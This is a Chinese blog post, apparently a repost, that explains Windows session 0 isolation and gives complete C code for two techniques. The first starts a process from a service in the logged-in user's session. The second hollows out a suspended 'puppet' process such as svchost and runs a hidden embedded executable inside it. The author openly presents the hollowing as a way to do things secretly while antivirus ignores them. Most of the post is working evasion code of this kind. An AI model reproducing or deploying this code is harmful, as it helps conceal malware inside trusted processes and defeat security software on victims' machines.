代码基本源于网络,作用看个人需求。
session 0隔离是个老话题,这里简单讲讲,小伙伴们赶快看过来吧。
自vista系统开始,进程便有了session空间的概念,一般系统服务进程是在session 0的会话空间里面执行,其他应用程序都是在session 1或者session x会话空间中运行。一般情况下,进程A属于session x会话空间,那么它所创建的进程同样是属于session x会话空间。
当你写的是个系统服务的时候,由于系统服务进程处于session 0空间,所以该进程如果想创建出一个进程,那么创建出来的进程也就是属于session 0会话空间了。而session 0会话空间中能做的事情有限,比如无法显示一个操作界面,很难和用户交互。所以你必须在session 0会话空间中创建出属于非session 0会话空间的进程。
下面的代码展示了如何去做。
- BOOL CreateProcessS (
 
-         __in_opt    LPCWSTR lpApplicationName,
 
-         __inout_opt LPWSTR lpCommandLine,
 
-         __in_opt    LPSECURITY_ATTRIBUTES lpProcessAttributes,
 
-         __in_opt    LPSECURITY_ATTRIBUTES lpThreadAttributes,
 
-         __in        BOOL bInheritHandles,
 
-         __in        DWORD dwCreationFlags,
 
-         __in_opt    LPCWSTR lpCurrentDirectory,
 
-         __in        LPSTARTUPINFOW lpStartupInfo,
 
-         __out       LPPROCESS_INFORMATION lpProcessInformation
 
-         )
 
- {
 
-         BOOL  isSuccess = FALSE;
 
-         DWORD dwCurrentSessionId = 0;
 
-         ProcessIdToSessionId(GetCurrentProcessId(),&dwCurrentSessionId);
 
-         if (dwCurrentSessionId == 0)
 
-         {
 
-                 HANDLE        hToken = NULL;
 
-                 DWORD        dwSessionID = 0;
 
-                 LPVOID        lpEnvironment = NULL;
 
-                 HANDLE        hDuplicatedToken = NULL;
 
-                 //服务进程会话id为零,以下代码用于绕过session 0隔离
 
-                 dwSessionID = WTSGetActiveConsoleSessionId();
 
-                 // 获得当前Session的用户令牌
 
-                 if (WTSQueryUserToken(dwSessionID,&hToken) == FALSE)
 
-                 {
 
-                         goto Cleanup;
 
-                 }
 
-                 // 复制令牌
 
-                 if (DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityIdentification, TokenPrimary,&hDuplicatedToken) == FALSE)
 
-                 {
 
-                         goto Cleanup;
 
-                 }
 
-                 // 创建用户Session环境
 
-                 if (CreateEnvironmentBlock(&lpEnvironment,hDuplicatedToken,FALSE) == FALSE)
 
-                 {
 
-                         goto Cleanup;
 
-                 }
 
-                 // 在复制的用户Session下执行应用程序,创建进程。
 
-                 if ((isSuccess = CreateProcessAsUser(hDuplicatedToken,lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,\
 
-                         dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation) )== FALSE)
 
-                 {
 
-                         goto Cleanup;
 
-                 }
 
-                 // 清理工作
 
- Cleanup:
 
-                 if (hToken != NULL)
 
-                 {
 
-                         CloseHandle(hToken);
 
-                 }
 
-                 if (hDuplicatedToken != NULL)
 
-                 {
 
-                         CloseHandle(hDuplicatedToken);
 
-                 }
 
-                 if (lpEnvironment != NULL)
 
-                 {
 
-                         DestroyEnvironmentBlock(lpEnvironment);
 
-                 }
 
-         }
 
-         else
 
-         {
 
-                 isSuccess = CreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,dwCreationFlags,NULL,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
 
-         }
 
-         return isSuccess;
 
- }
 
复制代码
 
简单吧,代码主要来自网络。
有了创建的代码还不行,因为有时候我们服务进程需要做一点儿猥琐的事情,比如创建一个傀儡进程,比如选择一个svchost作为傀儡进程,然后执行我们偷偷想要做的事情。创建傀儡进程的好处是杀毒基本不会管你傀儡进程中做什么事情,那就不用考虑行为拦截问题了。
- void CreatePuppetProcess(HMODULE hModule,WCHAR *pszPuppetImagePath)
 
- {
 
-         int                                i;
 
-         HRSRC                        hrSrc;
 
-         HGLOBAL                        hg;
 
-         DWORD                        dwSize;
 
- #ifdef _WIN64
 
-         WOW64_CONTEXT                ThreadContext = {0};
 
- #else
 
-         CONTEXT                        ThreadContext = {0};
 
- #endif // _WIN64
 
-         DWORD                        dwPuppetProcessImageBase = 0;
 
-         PVOID                        lpNewProcessImageBase = NULL;
 
-         SIZE_T                        NumberOfBytes = 0;
 
-         PIMAGE_DOS_HEADER                lpImageDosHeader = NULL;
 
-         PIMAGE_NT_HEADERS32                lpImageNtHeaders = NULL;
 
-         PIMAGE_SECTION_HEADER        lpImageSectionHeader = NULL;
 
-         STARTUPINFO                                StartupInfo = {0};
 
-         PROCESS_INFORMATION                ProcessInfo = {0};
 
-         ZWUNMAPVIEWOFSECTION        pfnZwUnmapViewOfSection = NULL;
 
-         StartupInfo.cb = sizeof(STARTUPINFO);
 
-         hrSrc =  FindResourceA(hModule, MAKEINTRESOURCEA(IDR_DLL1),"DLL"); 
 
-         hg = LoadResource(hModule, hrSrc);
 
-         dwSize = SizeofResource( hModule,hrSrc);
 
-         if (dwSize == 0){        return;        }
 
-         pfnZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(LoadLibraryA("ntdll.dll"),"ZwUnmapViewOfSection");
 
-         if (pfnZwUnmapViewOfSection == NULL){        return;        }
 
-         lpImageDosHeader = (PIMAGE_DOS_HEADER)hg;
 
-         lpImageNtHeaders = (PIMAGE_NT_HEADERS32)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew);
 
-         lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
 
-         if (CreateProcessS(pszPuppetImagePath/*L"C:\\Windows\\System32\\calc.exe"*/,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,&StartupInfo,&ProcessInfo) == FALSE)
 
-         {
 
-                 goto __exit;
 
-         }
 
-         ThreadContext.ContextFlags = CONTEXT_FULL;
 
- #ifdef _WIN64
 
-         if (Wow64GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
 
-         {
 
-                 goto __exit;
 
-         }
 
- #else
 
-         if (GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
 
-         {
 
-                 goto __exit;
 
-         }
 
- #endif // _WIN64
 
-         if (ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(ThreadContext.Ebx + 0x8),&dwPuppetProcessImageBase,sizeof(DWORD),&NumberOfBytes) == FALSE)
 
-         {
 
-                 goto __exit;
 
-         }
 
-         if (dwPuppetProcessImageBase == lpImageNtHeaders->OptionalHeader.ImageBase)
 
-         {
 
-                 pfnZwUnmapViewOfSection(ProcessInfo.hProcess,(PVOID)dwPuppetProcessImageBase);
 
-         }
 
-         lpNewProcessImageBase = VirtualAllocEx(ProcessInfo.hProcess,\
 
-                 (LPVOID)(ULONG_PTR)lpImageNtHeaders->OptionalHeader.ImageBase,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfImage,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
 
-         if (lpNewProcessImageBase == NULL)
 
-         {
 
-                 int error = GetLastError();
 
-                 goto __exit;
 
-         }
 
-         if (WriteProcessMemory(ProcessInfo.hProcess,lpNewProcessImageBase,lpImageDosHeader,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfHeaders,&NumberOfBytes) == FALSE)
 
-         {
 
-                 goto __exit;
 
-         }
 
-         for (i = 0;i < lpImageNtHeaders->FileHeader.NumberOfSections;i++)
 
-         {
 
-                 WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)((ULONG_PTR)lpNewProcessImageBase + lpImageSectionHeader[i].VirtualAddress),\
 
-                         (LPCVOID)((ULONG_PTR)hg + lpImageSectionHeader[i].PointerToRawData),(SIZE_T)lpImageSectionHeader[i].SizeOfRawData,&NumberOfBytes);
 
-         }
 
- #ifdef _WIN64
 
-         WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
 
-         ThreadContext.Eax = 0;
 
-         ThreadContext.Eax = (ULONG)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
 
-         Wow64SetThreadContext(ProcessInfo.hThread,&ThreadContext);
 
- #else
 
-         WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
 
-         ThreadContext.Eax = (DWORD)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
 
-         SetThreadContext(ProcessInfo.hThread,&ThreadContext);
 
- #endif // _WIN64
 
-         ResumeThread(ProcessInfo.hThread);
 
- __exit:
 
-         if (ProcessInfo.hProcess != NULL)
 
-         {
 
-                 CloseHandle(ProcessInfo.hProcess);
 
-         }
 
-         if (ProcessInfo.hThread != NULL)
 
-         {
 
-                 CloseHandle(ProcessInfo.hThread);
 
-         }
 
- }
 
复制代码
 
首先这个代码是把一个exe程序放在了资源里面,函数第一个参数的模块句柄是当前模块的句柄,如果是dll,那么就是dll的模块句柄。如果你想测试此函数效果,那么你写的就是exe程序运行此函数,这时这里的模块句柄可以为NULL。至于怎么把文件添加到资源,这里我就不讲解方法了,网上很多资料。
必须注意的是,你所要创建的傀儡进程必须是32位的,你放在资源中的exe也必须是32位的。而你调用CreatePuppetProcess函数所在的进程可以是32位或者64位。
然后通过此代码你就可以实现创建一个傀儡进程了,如果是在session 0会话空间中创建傀儡进程,这里还会实现突破session 0隔离创建进程。
小伙伴们赶紧自己去实验吧,更多内容请关注mengwuji.net后续动态。
突破session 0隔离 和 劫持exe注入(转自梦无极)
原文:http://www.cnblogs.com/15157737693zsp/p/4691116.html